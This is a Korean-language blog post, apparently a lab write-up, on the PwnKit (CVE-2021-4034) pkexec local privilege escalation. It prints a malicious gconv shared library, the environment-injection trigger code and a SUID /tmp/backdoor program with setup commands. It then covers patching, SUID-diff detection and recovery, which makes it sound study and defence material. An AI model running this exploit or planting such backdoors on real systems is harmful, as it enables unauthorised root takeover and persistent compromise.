Journey to Security/취약점진단|모의해킹

PwnKit(CVE-2021-4034)을 이용한 리눅스 로컬 권한 상승과 대응

Cordilog 2026. 5. 14. 09:23

리눅스 시스템의 권한 관리 프레임워크인 Polkit(PolicyKit)에서 발견된 CVE-2021-4034(PwnKit) 취약점에 대해서 알아본다.

이 취약점은 pkexec 유틸리티가 인자값(argv)을 처리하는 과정에서 발생하는 메모리 참조 오류를 악용하여, 일반 사용자 계정에서 root 권한을 획득하는 로컬 권한 상승(LPE) 공격이다.

 

1. 전체 공격 아키텍처 및 흐름

공격자는 낮은 권한의 계정으로 시스템에 접근한 뒤, pkexec의 SUID 특성과 환경 변수 조작을 결합하여 root 권한을 탈취한다.

 

✅ pkexec이란? 

pkexec은 리눅스 시스템에서 Polkit(PolicyKit)이라는 프레임워크를 기반으로, 일반 사용자가 다른 사용자(보통 root)의 권한으로 특정 명령을 실행할 수 있게 해주는 도구다.

쉽게 말해 "이 작업을 수행할 권한이 있는지 시스템 정책에 물어보고, 허락되면 관리자 권한을 빌려주는 창구"다.

 

1. 주요 특징과 역할

  • Polkit의 실행부: Polkit은 시스템 전체의 권한을 세밀하게 관리하는 프레임워크인데, pkexec는 이 프레임워크를 명령줄(CLI)에서 실제로 실행하는 역할을 맡는다.
  • SUID 설정: pkexec 파일 자체에 SUID(Set User ID) 비트가 설정되어 있어. 그래서 실행하는 순간 일시적으로 파일 소유자인 root의 권한을 가질 수 있게 된다.
  • 그래픽 환경과의 통합: 터미널뿐만 아니라 우분투나 센트오에스 같은 데스크톱 환경에서 "관리자 암호를 입력하세요"라는 팝업창이 뜨는 과정 뒤에는 대개 Polkit과 pkexec가 작동하고 있다.

2. sudo와는 무엇이 다른가?

구분 sudo pkexec
판단 근거 /etc/sudoers 파일에 이름이 있는지 확인 Polkit 정책 파일(.policy)에 정의된 규칙 확인
작동 방식 특정 '사용자'에게 권한을 몰아주는 방식 특정 '작동(Action)'에 대해 권한을 부여하는 세밀한 방식
인증 주로 텍스트 기반 비밀번호 입력 GUI 환경에서 인증 창을 띄우는 등 더 유연한 인증 지원

2. 실습 단계별 상세 분석

1️⃣ 시스템 상태 확인 (관리자)

공격 전 시스템 내 SUID 파일 목록을 저장하여 이후 변경 사항을 추적할 준비를 한다.

  • 명령어: find / -perm -4000 -ls 2> /dev/null > setuid.txt
  • /usr/bin/pkexec 파일에 SUID 비트(-rwsr-xr-x)가 설정되어 있음을 확인한다. 이는 이 프로그램이 실행될 때 소유자인 root 권한으로 동작함을 의미한다.

2️⃣ 공격 코드 작성 및 컴파일 (공격자)

공격자는 pkexec가 악성 라이브러리를 로드하도록 유도하는 두 가지 코드를 작성한다.

1) evil-so.c (악성 공유 라이브러리)

로드되는 즉시 실제 사용자의 ID를 root(0)로 변경하고 쉘을 실행한다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}
void gconv_init() {
    setuid(0); setgid(0); setgroups(0);
    execve("/bin/sh", NULL, NULL);
}

2) exploit.c (취약점 트리거)

pkexec를 인자 없이(argv[] = { NULL }) 실행하면서, GCONV_PATH를 포함한 환경 변수를 주입하여 앞서 만든 라이브러리를 로드하게 만든다.

// 핵심 로직: 환경 변수를 통한 경로 하이재킹
char *envp[] = { "evildir", "PATH=GCONV_PATH=.", "CHARSET=ryaagard", NULL };
char *argv[] = { NULL };
execve("/usr/bin/pkexec", argv, envp);

3️⃣ 권한 상승 실행

컴파일된 exploit 파일을 실행하여 root 권한을 획득한다.

  • 원리: pkexec는 인자가 0개일 때 환경 변수 영역을 인자로 오인한다. 공격자가 만든 가짜 디렉토리의 gconv-modules 설정을 읽게 되어 evil.so가 root 권한으로 실행된다.
  • 결과: id 명령어 입력 시 uid=0(root) 확인. /etc/shadow와 같은 민감 파일에 접근 가능해진다.

4️⃣ 백도어 생성 (권한 지속성 확보)

취약점이 패치될 것에 대비하여 root 권한이 있을 때 별도의 SUID 파일을 만들어 둔다.

// backdoor.c
int main() {
    setuid(0);
    system("/bin/sh");
    return 0;
}

 

  • 명령어: chown 0:0 /tmp/backdoor && chmod u+s /tmp/backdoor
  • 의미: 일반 사용자가 언제든 /tmp/backdoor를 실행하기만 하면 다시 root 권한을 얻을 수 있는 '뒷문'을 설치한 것이다.

5️⃣ 취약점 패치 및 방어 확인 (관리자)

관리자가 보안 업데이트를 통해 취약점을 해결한다.

  • 명령어: yum -y update polkit
  • 결과: 패치 후 ./exploit을 실행하면 pkexec가 인자 값 부재를 감지하고 도움말을 출력하며 공격을 차단한다.

6️⃣ 침해 사고 탐지 및 복구

패치가 완료되었더라도 이미 설치된 백도어는 여전히 작동한다. 관리자는 시스템 무결성을 점검해야 한다.

  • 탐지: diff setuid.txt setuid2.txt 명령을 통해 공격 전후의 SUID 파일 목록을 비교한다.
  • 확인: 기존에 없던 /tmp/backdoor가 발견됨으로써 시스템이 침해되었음을 인지한다.
  • 복구: 공격자가 커널 깊숙이 다른 백도어를 심었을 가능성이 높으므로, OS를 완전히 재설치하는 것이 가장 안전한 대응책이다.

 

 

 

4. 결론 및 시사점

  1. SUID의 위험성: 관리자 권한으로 실행되는 프로그램의 사소한 입력값 처리 오류가 시스템 전체의 탈취로 이어진다.
  2. 지속성(Persistence)의 공포: 애플리케이션 보안 패치만으로는 이미 침투한 공격자를 완전히 몰아낼 수 없다.
  3. 가시성 확보: 평상시 시스템의 주요 설정(SUID, 파일 무결성 등)에 대한 베이스라인을 구축하고 정기적으로 비교하는 보안 관리가 필수적이다.